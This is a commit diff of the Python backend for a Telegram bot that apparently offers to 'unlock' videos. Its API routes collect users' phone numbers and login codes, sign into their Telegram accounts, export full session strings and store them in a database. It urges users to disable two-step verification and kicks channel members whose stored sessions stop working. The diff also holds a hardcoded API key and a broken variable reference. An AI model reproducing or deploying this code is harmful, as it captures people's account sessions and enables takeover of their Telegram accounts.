pmrony commited on
Commit
b984690
·
verified ·
1 Parent(s): ecb1f08

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +116 -140
app.py CHANGED
@@ -1,11 +1,12 @@
1
  import os
2
  import time
3
- import queue # thread-safe queue ইম্পোর্ট করা হলো
4
  import threading
5
  import requests
6
  import asyncio
7
  import re
8
  import urllib3
 
9
  from flask import Flask, jsonify, make_response, request, Response
10
  from supabase import create_client
11
  from pyrogram import Client, filters, enums, idle, utils
@@ -36,12 +37,9 @@ SUPABASE_KEY = os.environ.get("SUPABASE_KEY")
36
  BYSE_API_KEY = os.environ.get("BYSE_API_KEY", "133323knboif885fhgwxvf")
37
 
38
  PREMIUM_CHANNEL_ID = -1002825744390
39
- STORAGE_CHANNEL_ID = -1002825744390 # যে চ্যানেলে ভিডিও স্টোর হবে
40
 
41
- # আপনার Hugging Face স্পেসের ডিরেক্ট ইউআরএল
42
  BACKEND_URL = os.environ.get("BACKEND_URL", "https://mxvdo-forwardbot.hf.space")
43
-
44
- # WebApp URL (index.html)
45
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
46
  ADMIN_IDS = [7307789267]
47
 
@@ -50,8 +48,13 @@ supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
50
  admin_states = {}
51
  temp_clients = {}
52
 
53
- # ডিফল্ট আপলোড সার্ভার মোড (Telegram)
54
  upload_mode = "telegram"
 
 
 
 
 
 
55
 
56
  try:
57
  main_loop = asyncio.get_running_loop()
@@ -68,71 +71,64 @@ bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BO
68
  async def db_query(func):
69
  return await asyncio.to_thread(func)
70
 
 
 
 
 
 
 
 
 
 
 
 
 
 
71
  # ==================== UNIVERSAL MEDIA HELPER ====================
72
  def get_media_obj(msg):
73
- """মেসেজ থেকে মিডিয়া অবজেক্ট (ভিডিও, জিআইএফ, ডকুমেন্ট) খুঁজে বের করার ফাংশন"""
74
- if not msg:
75
- return None
76
- if msg.video:
77
- return msg.video
78
- if msg.animation:
79
- return msg.animation
80
- if msg.document:
81
- return msg.document
82
- if msg.audio:
83
- return msg.audio
84
  return None
85
 
86
  def get_msg_file_id(msg):
87
- """মেসেজ থেকে ক্র্যাশ-ফ্রি file_id বের করার ফাংশন"""
88
- if not msg:
89
- return None
90
- if msg.photo:
91
- return msg.photo.file_id
92
  media = get_media_obj(msg)
93
- if media:
94
- return media.file_id
95
  return None
96
- # ================================================================
97
 
98
  # ==================== CUSTOM VIDEO STREAMING ENGINE ====================
99
  def get_file_stream(message_id):
100
- """টেলিগ্রামের স্টোরেজ চ্যানেল থেকে মেইন ইভেন্ট লুপে থ্রেড-সেফ কিউ ব্যবহার করে ডাটা স্ট্রিম করার ফাংশন"""
101
- q = queue.Queue(maxsize=10) # মেমোরি নিয়ন্ত্রণে রাখার জন্য সর্বোচ্চ সাইজ ১০ রাখা হয়েছে
102
 
103
  async def producer():
104
  try:
 
105
  msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
106
  media = get_media_obj(msg)
107
  if not media:
108
  await asyncio.to_thread(q.put, None)
109
  return
110
-
111
- # ডাটা রিড করে থ্রেড-সেফ কিউ-তে রাখা হচ্ছে
112
- async for chunk in bot.stream_media(media):
113
  await asyncio.to_thread(q.put, chunk)
114
  except Exception as e:
115
  print(f"Error in stream producer: {e}")
116
  finally:
117
- await asyncio.to_thread(q.put, None) # স্ট্রিম শেষ হওয়ার সিগন্যাল
118
 
119
- # প্রোডিউসারটিকে বটের নিজে�� মেইন ইভেন্ট লুপে রান করানো হলো
120
  asyncio.run_coroutine_threadsafe(producer(), main_loop)
121
 
122
- # ফ্লাস্কের জন্য সিনক্রোনাস কন্সুমার জেনারেটর
123
  def consumer():
124
  try:
125
  while True:
126
- try:
127
- # সর্বোচ্চ ১৫ সেকেন্ড অপেক্ষা করবে
128
- chunk = q.get(timeout=15)
129
- except queue.Empty:
130
- break
131
- if chunk is None:
132
- break
133
  yield chunk
134
  except GeneratorExit:
135
- # ইউজার যদি মাঝপথে ব্রাউজার ট্যাব কেটে দেয়
136
  while not q.empty():
137
  try: q.get_nowait()
138
  except: break
@@ -141,9 +137,9 @@ def get_file_stream(message_id):
141
 
142
  @app.route('/stream/<int:message_id>')
143
  def stream_video(message_id):
144
- """অনলাইনে প্লেয়ারে ভিডিও/জিআইএফ দেখার লিংক"""
145
  try:
146
  async def get_media_info():
 
147
  msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
148
  media = get_media_obj(msg)
149
  if media:
@@ -166,9 +162,9 @@ def stream_video(message_id):
166
 
167
  @app.route('/download/<int:message_id>')
168
  def download_video(message_id):
169
- """সরাসরি ওয়ান-ক্লিকে ডাউনলোড করার লিংক"""
170
  try:
171
  async def get_media_info():
 
172
  msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
173
  media = get_media_obj(msg)
174
  if media:
@@ -186,7 +182,6 @@ def download_video(message_id):
186
  return response
187
  except Exception as e:
188
  return f"Error: {e}", 500
189
- # =======================================================================
190
 
191
  # ================= FLASK API ROUTES =================
192
  @app.route('/')
@@ -202,9 +197,7 @@ def jump_to_telegram():
202
  <title>Redirecting...</title>
203
  <script>
204
  window.location.href = "tg://openmessage?user_id=777000";
205
- setTimeout(function() {
206
- window.close();
207
- }, 500);
208
  </script>
209
  </head>
210
  <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
@@ -217,25 +210,16 @@ def jump_to_telegram():
217
  """
218
  return make_response(html_content)
219
 
220
- def add_cors_headers(response):
221
- response.headers['Access-Control-Allow-Origin'] = '*'
222
- response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
223
- response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
224
- return response
225
-
226
  @app.route('/api/videos')
227
  def api_videos():
228
  try:
229
  res = supabase.table('videos').select('*').order('id', desc=True).execute()
230
- return add_cors_headers(make_response(jsonify(res.data)))
231
  except Exception as e:
232
- return add_cors_headers(make_response(jsonify([])))
233
 
234
- @app.route('/api/check_login', methods=['POST', 'OPTIONS'])
235
  def api_check_login():
236
- if request.method == 'OPTIONS':
237
- return add_cors_headers(make_response())
238
-
239
  data = request.json or {}
240
  user_id = data.get('user_id')
241
 
@@ -258,21 +242,18 @@ def api_check_login():
258
 
259
  try:
260
  result = run_async(check_user())
261
- return add_cors_headers(make_response(jsonify(result)))
262
  except Exception as e:
263
- return add_cors_headers(make_response(jsonify({"status": "error"})))
264
 
265
- @app.route('/api/send_code', methods=['POST', 'OPTIONS'])
266
  def api_send_code():
267
- if request.method == 'OPTIONS':
268
- return add_cors_headers(make_response())
269
-
270
  data = request.json or {}
271
  phone = data.get('phone')
272
  user_id = data.get('user_id')
273
 
274
  if not user_id or str(user_id) == '123456':
275
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
276
 
277
  async def process_send_code():
278
  if phone in temp_clients:
@@ -285,27 +266,25 @@ def api_send_code():
285
  temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
286
  return {"status": "ok", "hash": code_info.phone_code_hash}
287
  except Exception as e:
288
- await client.disconnect()
 
289
  return {"status": "error", "msg": str(e)}
290
 
291
  try:
292
  result = run_async(process_send_code())
293
- return add_cors_headers(make_response(jsonify(result)))
294
  except Exception as e:
295
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
296
 
297
- @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
298
  def api_verify_code():
299
- if request.method == 'OPTIONS':
300
- return add_cors_headers(make_response())
301
-
302
  data = request.json or {}
303
  phone = data.get('phone')
304
  user_otp = data.get('otp')
305
  user_id = data.get('user_id')
306
 
307
  if phone not in temp_clients:
308
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"})))
309
 
310
  async def process_verify():
311
  temp_data = temp_clients[phone]
@@ -315,32 +294,36 @@ def api_verify_code():
315
  try:
316
  await client.sign_in(phone, phone_hash, user_otp)
317
  session_string = await client.export_session_string()
318
- await client.disconnect()
 
319
 
320
  await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session_string}).execute())
321
- del temp_clients[phone]
322
  return {"status": "ok"}
323
 
324
  except SessionPasswordNeeded:
325
- await client.disconnect()
326
- del temp_clients[phone]
 
327
  return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
328
  except PhoneCodeInvalid:
329
  return {"status": "error", "msg": "Invalid OTP Code!"}
330
  except PhoneCodeExpired:
331
- await client.disconnect()
332
- del temp_clients[phone]
 
333
  return {"status": "error", "msg": "OTP Expired! Request again."}
334
  except Exception as e:
335
- await client.disconnect()
336
- del temp_clients[phone]
 
337
  return {"status": "error", "msg": str(e)}
338
 
339
  try:
340
  result = run_async(process_verify())
341
- return add_cors_headers(make_response(jsonify(result)))
342
  except Exception as e:
343
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
344
 
345
  # ================= TELEGRAM BOT COMMANDS =================
346
  @bot.on_message(filters.command("start"))
@@ -367,18 +350,21 @@ async def start(client, message):
367
  user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
368
 
369
  if not user_check.data:
370
- await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
371
- if referrer_id and referrer_id != user_id:
372
- ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
373
- if ref_data.data:
374
- new_count = ref_data.data[0]['referral_count'] + 1
375
- await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
376
- try:
377
- safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
378
- success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
379
- markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
380
- await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
381
- except Exception: pass
 
 
 
382
 
383
  bot_me = client.me if client.me else await client.get_me()
384
  markup = InlineKeyboardMarkup([
@@ -425,13 +411,11 @@ async def send_to_specific_group(client, message):
425
  try:
426
  group_id = int(args[1])
427
  status = await message.reply("⏳ Sending message to group...")
428
-
429
  await message.reply_to_message.copy(chat_id=group_id)
430
  await status.edit_text(f"✅ <b>Successfully sent to Group ID:</b> <code>{group_id}</code>", parse_mode=enums.ParseMode.HTML)
431
  except Exception as e:
432
  await status.edit_text(f"❌ <b>Failed to send!</b>\nError: {e}", parse_mode=enums.ParseMode.HTML)
433
 
434
- # ================= DATABASE PROGRESS-BASED CLONING =================
435
  async def save_progress(source_id, dest_id, msg_id):
436
  try:
437
  res = await db_query(lambda: supabase.table('clone_progress').select('id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
@@ -555,7 +539,6 @@ async def start_cloning(client, message):
555
  status_msg = await message.reply("⏳ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
556
  asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
557
 
558
- # ================= NEW: SET UPLOAD SERVER MODE =================
559
  @bot.on_message(filters.command("upload") & filters.private & filters.user(ADMIN_IDS))
560
  async def set_upload_mode(client, message):
561
  global upload_mode
@@ -572,7 +555,6 @@ async def set_upload_mode(client, message):
572
  await message.reply("❌ <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
573
  else:
574
  await message.reply(f"📌 <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\n👉 `/upload telegram` (Storage Channel Stream)\n👉 `/upload byse` (Byse.sx third-party player)")
575
- # ===============================================================
576
 
577
  @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
578
  async def set_blur_state(client, message):
@@ -613,8 +595,7 @@ def upload_file_sync(upload_url, file_path, api_key):
613
  with open(file_path, 'rb') as f:
614
  res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
615
  return res.json() if res.status_code == 200 else {}
616
- except Exception as e:
617
- return {}
618
 
619
  @bot.on_message((filters.video | filters.animation | filters.photo | filters.document) & filters.private & filters.user(ADMIN_IDS))
620
  async def handle_media_upload(client, message):
@@ -662,7 +643,7 @@ async def handle_media_upload(client, message):
662
  if blur_match:
663
  is_blur = True
664
  blur_percent = int(blur_match.group(1))
665
- clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
666
  clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
667
  elif state.get("blur_percent"):
668
  is_blur = True
@@ -697,14 +678,13 @@ async def handle_media_upload(client, message):
697
  percent = (current / total) * 100
698
  await status_msg.edit_text(f"⏳ Downloading media... {percent:.1f}%")
699
  last_update_time = now
700
- except Exception:
701
- pass
702
 
703
  try:
704
  original_file = await message.download(progress=download_progress)
705
  clean_upload_file = original_file
706
 
707
- if media_type == "video" and not is_large_video:
708
  await status_msg.edit_text("⏳ Watermarking video... (HD + Superfast Processing)")
709
  watermarked_file = f"{original_file}_wm.mp4"
710
 
@@ -729,11 +709,13 @@ async def handle_media_upload(client, message):
729
  if upload_mode == "telegram":
730
  await status_msg.edit_text("⏳ Uploading Clean HD video to your storage channel...")
731
 
732
- thumb_path_storage = f"{original_file}_storage_thumb.jpg"
733
- proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", clean_upload_file, "-vframes", "1", thumb_path_storage, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
734
- await proc.communicate()
735
- if not os.path.exists(thumb_path_storage):
736
- thumb_path_storage = None
 
 
737
 
738
  media = get_media_obj(message)
739
  vid_duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
@@ -785,7 +767,7 @@ async def handle_media_upload(client, message):
785
  return
786
 
787
  telegram_file = clean_upload_file
788
- if is_blur and not is_large_video:
789
  await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur for Telegram broadcast...")
790
  radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
791
  ext = "jpg" if media_type == "photo" else "mp4"
@@ -828,7 +810,7 @@ async def handle_media_upload(client, message):
828
  )
829
 
830
  thumb_path = None
831
- if media_type == "video":
832
  thumb_path = f"{original_file}_thumb.jpg"
833
  proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", telegram_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
834
  await proc.communicate()
@@ -859,7 +841,6 @@ async def handle_media_upload(client, message):
859
 
860
  await status_msg.delete()
861
 
862
- # ================= FloodWait Handler for Broadcast =================
863
  groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
864
  group_ids = [g['group_id'] for g in groups_res.data]
865
  success_count, fail_count = 0, 0
@@ -876,14 +857,14 @@ async def handle_media_upload(client, message):
876
  if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
877
  else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
878
  success_count += 1
879
- except Exception:
880
- fail_count += 1
881
- except Exception:
882
- fail_count += 1
883
 
884
  await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
885
 
886
- except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
 
 
887
  finally:
888
  for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
889
  if f and os.path.exists(f):
@@ -908,8 +889,7 @@ async def process_broadcast(client, message):
908
  text = message.text or message.caption
909
  if text == '/cancel':
910
  admin_states.pop(message.chat.id, None)
911
- await message.reply("❌ Cancelled.")
912
- return
913
 
914
  await message.reply("⏳ Broadcast started...")
915
  admin_states.pop(message.chat.id, None)
@@ -944,21 +924,17 @@ async def manual_clean_channel(client, message):
944
  await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking database users to verify active sessions. This might take a while.")
945
  try:
946
  kicked, checked = 0, 0
947
-
948
  res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
949
  if not res_users.data:
950
- await message.reply("❌ No users found in database!")
951
- return
952
 
953
  user_ids = [u['user_id'] for u in res_users.data]
954
 
955
  for user_id in set(user_ids):
956
  try:
957
  chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
958
-
959
  if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
960
  checked += 1
961
-
962
  res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
963
 
964
  is_valid = False
@@ -989,8 +965,7 @@ async def manual_clean_channel(client, message):
989
  await asyncio.sleep(1.5)
990
  except FloodWait as e:
991
  await asyncio.sleep(e.value + 1)
992
- except Exception:
993
- pass
994
 
995
  await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked: {kicked}")
996
  except Exception as e:
@@ -1031,18 +1006,13 @@ async def auto_clean_channel_loop():
1031
  try:
1032
  await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1033
  await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1034
- except Exception:
1035
- pass
1036
-
1037
  await asyncio.sleep(2)
1038
-
1039
  except FloodWait as e:
1040
  await asyncio.sleep(e.value + 1)
1041
- except Exception:
1042
- pass
1043
  except Exception as e:
1044
  print(f"Auto clean error: {e}")
1045
-
1046
  await asyncio.sleep(4 * 3600)
1047
 
1048
  @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean", "sendto", "clone", "upload"]))
@@ -1066,11 +1036,17 @@ async def catch_admin_steps(client, message):
1066
  def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)), threaded=True)
1067
 
1068
  async def main():
1069
- await bot.start()
1070
- print("🤖 Pyrogram Bot & Real Session API is running!")
1071
- asyncio.create_task(auto_clean_channel_loop())
1072
- await idle()
1073
- await bot.stop()
 
 
 
 
 
 
1074
 
1075
  if __name__ == "__main__":
1076
  threading.Thread(target=run_flask, daemon=True).start()
 
1
  import os
2
  import time
3
+ import queue
4
  import threading
5
  import requests
6
  import asyncio
7
  import re
8
  import urllib3
9
+ import subprocess
10
  from flask import Flask, jsonify, make_response, request, Response
11
  from supabase import create_client
12
  from pyrogram import Client, filters, enums, idle, utils
 
37
  BYSE_API_KEY = os.environ.get("BYSE_API_KEY", "133323knboif885fhgwxvf")
38
 
39
  PREMIUM_CHANNEL_ID = -1002825744390
40
+ STORAGE_CHANNEL_ID = -1002825744390
41
 
 
42
  BACKEND_URL = os.environ.get("BACKEND_URL", "https://mxvdo-forwardbot.hf.space")
 
 
43
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
44
  ADMIN_IDS = [7307789267]
45
 
 
48
  admin_states = {}
49
  temp_clients = {}
50
 
 
51
  upload_mode = "telegram"
52
+ ffmpeg_available = True
53
+ try:
54
+ subprocess.run(["ffmpeg", "-version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
55
+ except FileNotFoundError:
56
+ ffmpeg_available = False
57
+ print("⚠️ FFmpeg is not installed on this server! Video processing functions (blur, watermark) will be skipped safely.")
58
 
59
  try:
60
  main_loop = asyncio.get_running_loop()
 
71
  async def db_query(func):
72
  return await asyncio.to_thread(func)
73
 
74
+ # ==================== CORS MIDDLEWARES ====================
75
+ @app.before_request
76
+ def handle_options():
77
+ if request.method == 'OPTIONS':
78
+ return make_response()
79
+
80
+ @app.after_request
81
+ def add_cors_headers(response):
82
+ response.headers['Access-Control-Allow-Origin'] = '*'
83
+ response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS, PUT, DELETE'
84
+ response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization, apikey'
85
+ return response
86
+
87
  # ==================== UNIVERSAL MEDIA HELPER ====================
88
  def get_media_obj(msg):
89
+ if not msg: return None
90
+ if msg.video: return msg.video
91
+ if msg.animation: return msg.animation
92
+ if msg.document: return msg.document
93
+ if msg.audio: return msg.audio
 
 
 
 
 
 
94
  return None
95
 
96
  def get_msg_file_id(msg):
97
+ if not msg: return None
98
+ if msg.photo: return msg.photo.file_id
 
 
 
99
  media = get_media_obj(msg)
100
+ if media: return media.file_id
 
101
  return None
 
102
 
103
  # ==================== CUSTOM VIDEO STREAMING ENGINE ====================
104
  def get_file_stream(message_id):
105
+ q = queue.Queue(maxsize=10)
 
106
 
107
  async def producer():
108
  try:
109
+ if not bot.is_connected: await bot.connect()
110
  msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
111
  media = get_media_obj(msg)
112
  if not media:
113
  await asyncio.to_thread(q.put, None)
114
  return
115
+ async for chunk in bot.stream_media(msg):
 
 
116
  await asyncio.to_thread(q.put, chunk)
117
  except Exception as e:
118
  print(f"Error in stream producer: {e}")
119
  finally:
120
+ await asyncio.to_thread(q.put, None)
121
 
 
122
  asyncio.run_coroutine_threadsafe(producer(), main_loop)
123
 
 
124
  def consumer():
125
  try:
126
  while True:
127
+ try: chunk = q.get(timeout=15)
128
+ except queue.Empty: break
129
+ if chunk is None: break
 
 
 
 
130
  yield chunk
131
  except GeneratorExit:
 
132
  while not q.empty():
133
  try: q.get_nowait()
134
  except: break
 
137
 
138
  @app.route('/stream/<int:message_id>')
139
  def stream_video(message_id):
 
140
  try:
141
  async def get_media_info():
142
+ if not bot.is_connected: await bot.connect()
143
  msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
144
  media = get_media_obj(msg)
145
  if media:
 
162
 
163
  @app.route('/download/<int:message_id>')
164
  def download_video(message_id):
 
165
  try:
166
  async def get_media_info():
167
+ if not bot.is_connected: await bot.connect()
168
  msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
169
  media = get_media_obj(msg)
170
  if media:
 
182
  return response
183
  except Exception as e:
184
  return f"Error: {e}", 500
 
185
 
186
  # ================= FLASK API ROUTES =================
187
  @app.route('/')
 
197
  <title>Redirecting...</title>
198
  <script>
199
  window.location.href = "tg://openmessage?user_id=777000";
200
+ setTimeout(function() { window.close(); }, 500);
 
 
201
  </script>
202
  </head>
203
  <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
 
210
  """
211
  return make_response(html_content)
212
 
 
 
 
 
 
 
213
  @app.route('/api/videos')
214
  def api_videos():
215
  try:
216
  res = supabase.table('videos').select('*').order('id', desc=True).execute()
217
+ return jsonify(res.data)
218
  except Exception as e:
219
+ return jsonify([])
220
 
221
+ @app.route('/api/check_login', methods=['POST'])
222
  def api_check_login():
 
 
 
223
  data = request.json or {}
224
  user_id = data.get('user_id')
225
 
 
242
 
243
  try:
244
  result = run_async(check_user())
245
+ return jsonify(result)
246
  except Exception as e:
247
+ return jsonify({"status": "error"})
248
 
249
+ @app.route('/api/send_code', methods=['POST'])
250
  def api_send_code():
 
 
 
251
  data = request.json or {}
252
  phone = data.get('phone')
253
  user_id = data.get('user_id')
254
 
255
  if not user_id or str(user_id) == '123456':
256
+ return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
257
 
258
  async def process_send_code():
259
  if phone in temp_clients:
 
266
  temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
267
  return {"status": "ok", "hash": code_info.phone_code_hash}
268
  except Exception as e:
269
+ try: await client.disconnect()
270
+ except: pass
271
  return {"status": "error", "msg": str(e)}
272
 
273
  try:
274
  result = run_async(process_send_code())
275
+ return jsonify(result)
276
  except Exception as e:
277
+ return jsonify({"status": "error", "msg": str(e)})
278
 
279
+ @app.route('/api/verify_code', methods=['POST'])
280
  def api_verify_code():
 
 
 
281
  data = request.json or {}
282
  phone = data.get('phone')
283
  user_otp = data.get('otp')
284
  user_id = data.get('user_id')
285
 
286
  if phone not in temp_clients:
287
+ return jsonify({"status": "error", "msg": "Session expired, request code again!"})
288
 
289
  async def process_verify():
290
  temp_data = temp_clients[phone]
 
294
  try:
295
  await client.sign_in(phone, phone_hash, user_otp)
296
  session_string = await client.export_session_string()
297
+ try: await client.disconnect()
298
+ except: pass
299
 
300
  await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session_string}).execute())
301
+ if phone in temp_clients: del temp_clients[phone]
302
  return {"status": "ok"}
303
 
304
  except SessionPasswordNeeded:
305
+ try: await client.disconnect()
306
+ except: pass
307
+ if phone in temp_clients: del temp_clients[phone]
308
  return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
309
  except PhoneCodeInvalid:
310
  return {"status": "error", "msg": "Invalid OTP Code!"}
311
  except PhoneCodeExpired:
312
+ try: await client.disconnect()
313
+ except: pass
314
+ if phone in temp_clients: del temp_clients[phone]
315
  return {"status": "error", "msg": "OTP Expired! Request again."}
316
  except Exception as e:
317
+ try: await client.disconnect()
318
+ except: pass
319
+ if phone in temp_clients: del temp_clients[phone]
320
  return {"status": "error", "msg": str(e)}
321
 
322
  try:
323
  result = run_async(process_verify())
324
+ return jsonify(result)
325
  except Exception as e:
326
+ return jsonify({"status": "error", "msg": str(e)})
327
 
328
  # ================= TELEGRAM BOT COMMANDS =================
329
  @bot.on_message(filters.command("start"))
 
350
  user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
351
 
352
  if not user_check.data:
353
+ try:
354
+ await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
355
+ if referrer_id and referrer_id != user_id:
356
+ ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
357
+ if ref_data.data:
358
+ new_count = ref_data.data[0]['referral_count'] + 1
359
+ await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
360
+ try:
361
+ safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
362
+ success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
363
+ markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
364
+ await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
365
+ except Exception: pass
366
+ except Exception as db_err:
367
+ print(f"Error handling referral DB entry: {db_err}")
368
 
369
  bot_me = client.me if client.me else await client.get_me()
370
  markup = InlineKeyboardMarkup([
 
411
  try:
412
  group_id = int(args[1])
413
  status = await message.reply("⏳ Sending message to group...")
 
414
  await message.reply_to_message.copy(chat_id=group_id)
415
  await status.edit_text(f"✅ <b>Successfully sent to Group ID:</b> <code>{group_id}</code>", parse_mode=enums.ParseMode.HTML)
416
  except Exception as e:
417
  await status.edit_text(f"❌ <b>Failed to send!</b>\nError: {e}", parse_mode=enums.ParseMode.HTML)
418
 
 
419
  async def save_progress(source_id, dest_id, msg_id):
420
  try:
421
  res = await db_query(lambda: supabase.table('clone_progress').select('id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
 
539
  status_msg = await message.reply("⏳ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
540
  asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
541
 
 
542
  @bot.on_message(filters.command("upload") & filters.private & filters.user(ADMIN_IDS))
543
  async def set_upload_mode(client, message):
544
  global upload_mode
 
555
  await message.reply("❌ <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
556
  else:
557
  await message.reply(f"📌 <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\n👉 `/upload telegram` (Storage Channel Stream)\n👉 `/upload byse` (Byse.sx third-party player)")
 
558
 
559
  @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
560
  async def set_blur_state(client, message):
 
595
  with open(file_path, 'rb') as f:
596
  res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
597
  return res.json() if res.status_code == 200 else {}
598
+ except Exception: return {}
 
599
 
600
  @bot.on_message((filters.video | filters.animation | filters.photo | filters.document) & filters.private & filters.user(ADMIN_IDS))
601
  async def handle_media_upload(client, message):
 
643
  if blur_match:
644
  is_blur = True
645
  blur_percent = int(blur_match.group(1))
646
+ clear_percent = int(blur_match.group(2)) if match.group(2) else 0
647
  clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
648
  elif state.get("blur_percent"):
649
  is_blur = True
 
678
  percent = (current / total) * 100
679
  await status_msg.edit_text(f"⏳ Downloading media... {percent:.1f}%")
680
  last_update_time = now
681
+ except Exception: pass
 
682
 
683
  try:
684
  original_file = await message.download(progress=download_progress)
685
  clean_upload_file = original_file
686
 
687
+ if media_type == "video" and not is_large_video and ffmpeg_available:
688
  await status_msg.edit_text("⏳ Watermarking video... (HD + Superfast Processing)")
689
  watermarked_file = f"{original_file}_wm.mp4"
690
 
 
709
  if upload_mode == "telegram":
710
